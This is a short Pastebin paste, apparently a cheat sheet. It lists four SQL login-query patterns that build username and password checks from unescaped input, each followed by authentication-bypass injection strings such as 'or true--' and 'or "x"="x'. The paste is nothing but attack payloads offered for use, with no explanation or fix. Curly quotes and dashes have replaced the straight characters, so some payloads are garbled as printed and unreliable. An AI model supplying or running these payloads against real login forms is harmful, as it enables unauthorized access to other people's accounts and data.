Advertisement
Guest User

SQL Injection

a guest
Sep 21st, 2017
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. Query:
  2.  
  3. select username,pass from users where username="$username" and password="$passwrd" limit 0,1;
  4. Injections:
  5. ” or true–
  6. ” or “”=”
  7. ” or 1–
  8. ” or “x”=”
  9.  
  10. Query:
  11.  
  12. select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;
  13. Injections:
  14. ‘) or true–
  15. ‘) or (”)=(‘
  16. ‘) or 1–
  17. ‘) or (‘x’)=(‘
  18.  
  19. Query:
  20.  
  21. select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;
  22. Injections:
  23. “) or true–
  24. “) or (“”)=(”
  25. “) or 1–
  26. “) or (“x”)=(”
  27.  
  28. Query:
  29.  
  30.  
  31.  
  32. select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;
  33. Injections:
  34. ‘)) or true–
  35. ‘)) or ((”))=((‘
  36. ‘)) or 1–
  37. ‘)) or ((‘x’))=((‘
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement